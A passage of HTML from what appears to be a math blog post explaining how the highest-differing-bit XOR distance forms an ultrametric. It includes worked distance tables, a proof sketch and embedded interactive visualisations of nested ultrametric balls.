      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mo>⊕</mo></msub><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mtext> </mtext><mn>6</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d_\oplus(5,\ 6)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2583em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">⊕</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span><span class="mclose">)</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn></mrow><annotation encoding="application/x-tex">3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0011</mn></mrow><annotation encoding="application/x-tex">0011</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0011</span></span></span></span></td>
      <td style="text-align: center">bit 1</td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>1</mn></msup><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">2^1 = 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></td>
    </tr>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mo>⊕</mo></msub><mo stretchy="false">(</mo><mn>6</mn><mo separator="true">,</mo><mtext> </mtext><mn>14</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d_\oplus(6,\ 14)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2583em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">⊕</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord">6</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">14</span><span class="mclose">)</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>8</mn></mrow><annotation encoding="application/x-tex">8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1000</mn></mrow><annotation encoding="application/x-tex">1000</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1000</span></span></span></span></td>
      <td style="text-align: center">bit 3</td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
    </tr>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mo>⊕</mo></msub><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mtext> </mtext><mn>5</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d_\oplus(5,\ 5)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2583em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">⊕</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">5</span><span class="mclose">)</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0000</mn></mrow><annotation encoding="application/x-tex">0000</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0000</span></span></span></span></td>
      <td style="text-align: center">—</td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p><strong>Note:</strong> the astute reader might have noticed that the raw integer value <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>⊕</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x \oplus y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span> is <em>not</em> an ultrametric because it fails for triples like <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>6</mn><mo separator="true">,</mo><mn>3</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(5, 6, 3)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">3</span><span class="mclose">)</span></span></span></span> where <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn><mo>⊕</mo><mn>3</mn><mo>=</mo><mn>6</mn><mo>&gt;</mo><mi>max</mi><mo>⁡</mo><mo stretchy="false">(</mo><mn>5</mn><mo>⊕</mo><mn>6</mn><mo separator="true">,</mo><mn>6</mn><mo>⊕</mo><mn>3</mn><mo stretchy="false">)</mo><mo>=</mo><mi>max</mi><mo>⁡</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>5</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">5 \oplus 3 = 6 &gt; \max(5 \oplus 6, 6 \oplus 3) = \max(3, 5)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">5</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6835em;vertical-align:-0.0391em;"></span><span class="mord">6</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">max</span><span class="mopen">(</span><span class="mord">5</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">6</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">3</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">max</span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">5</span><span class="mclose">)</span></span></span></span>.
The fix is — as we’ve seen above — to use the highest-bit value, which rounds each XOR <em>down</em> (notice the floor op) to the largest power of 2 that doesn’t exceed it.
Make sure this is clear.</p>
</blockquote>

<p>Does <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>2</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mclose">)</span></span></span></span> satisfy the three metric rules?
Definitely.
But it satisfies something stronger: the ultrametric inequality we defined in <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>.
<strong>Why?</strong>
Because at the bit level, the highest bit where <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>z</mi></mrow><annotation encoding="application/x-tex">z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span></span></span></span> disagree must already be a bit where either <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span> disagree, or <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>z</mi></mrow><annotation encoding="application/x-tex">z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span></span></span></span> disagree.
If both <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span> agreed with <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>z</mi></mrow><annotation encoding="application/x-tex">z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span></span></span></span> on that bit, then <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>z</mi></mrow><annotation encoding="application/x-tex">z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span></span></span></span> would have to agree on it too — that’s a contradiction.</p>

<style>
dialog:not([open]){display:none}
dialog{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);padding:0;background:#000;border:1px solid #333;border-radius:6px;outline:none}
dialog::backdrop{background:rgba(0,0,0,.75)}
dialog[open]#dlg-balls{display:flex;flex-direction:column}
dialog[open]#dlg-clustering{display:flex;flex-direction:column}
</style>

<div style="text-align:center;cursor:zoom-in" onclick="document.getElementById('dlg-svg').showModal()">
    <img src="../assets/2026-04-12-p-adic/ultrametric_xor_bit_proof_with_distances.svg" class="responsive" />
</div>
<dialog id="dlg-svg" style="width:80vw;max-width:80vw">
  <img src="../assets/2026-04-12-p-adic/ultrametric_xor_bit_proof_with_distances.svg" style="width:100%;height:auto;display:block" />
</dialog>

<p>Now, are some weird consequences of these facts:
two balls are always either disjoint or one contains the other.
In Euclidean space, two circles can easily form a Venn diagram where they share some area but not all of it.
In an ultrametric space, this is mathematically impossible.
And every point inside a ball is equally a center of that ball.
Moreover, every interior point sees the exact same set of neighbours.
The geometry has no “edges” — only “inside” and “outside.”
Here’s your ball in an ultrametric space (wait, you thought it’s gonna be a round physical sphere?):</p>
<div style="position:relative">
  <iframe src="../assets/2026-04-12-p-adic/ultrametric_balls_3d.html" style="width:100%;height:460px;border:none;display:block"></iframe>
  <button onclick="document.getElementById('dlg-balls').showModal()" style="position:absolute;top:8px;right:8px;z-index:1;background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">⤢</button>
</div>
<dialog id="dlg-balls" style="width:92vw;height:92vh">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <iframe src="../assets/2026-04-12-p-adic/ultrametric_balls_3d.html" style="flex:1;width:100%;border:none;display:block"></iframe>
</dialog>
<script>
document.querySelectorAll('dialog').forEach(d=>d.addEventListener('click',e=>{if(e.target===d)d.close()}));
</script>

<p>Let’s now think a bit about closeness — what does XOR-closeness actually mean?</p>

<p>Two numbers are close when their XOR is small — i.e., when the most significant differing bit is low.
That means their <strong>leading (high-order) bits agree</strong>.</p>

<p>Take 4-bit integers and look at who is close to <code class="language-plaintext highlighter-rouge">0000</code>:</p>

<table>
  <thead>
    <tr>
      <th>number</th>
      <th><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mo>⊕</mo></msub></mrow><annotation encoding="application/x-tex">d_\oplus</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2583em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">⊕</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span></span></span></span> from <code class="language-plaintext highlighter-rouge">0000</code></th>
      <th>cluster</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0000</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
      <td>← center</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0001</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^0 = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><mn>0000</mn><mo separator="true">,</mo><mn>1</mn><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mn>0000</mn><mo separator="true">,</mo><mn>0001</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">B(0000, 1) = \{0000, 0001\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mopen">(</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0001</span><span class="mclose">}</span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0010</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>1</mn></msup><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">2^1 = 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0011</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>1</mn></msup><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">2^1 = 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><mn>0000</mn><mo separator="true">,</mo><mn>2</mn><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mn>0000</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mn>0011</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">B(0000, 2) = \{0000, \ldots, 0011\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mopen">(</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0011</span><span class="mclose">}</span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0100</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2^2 = 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0101</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2^2 = 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0110</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2^2 = 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0111</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2^2 = 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></td>
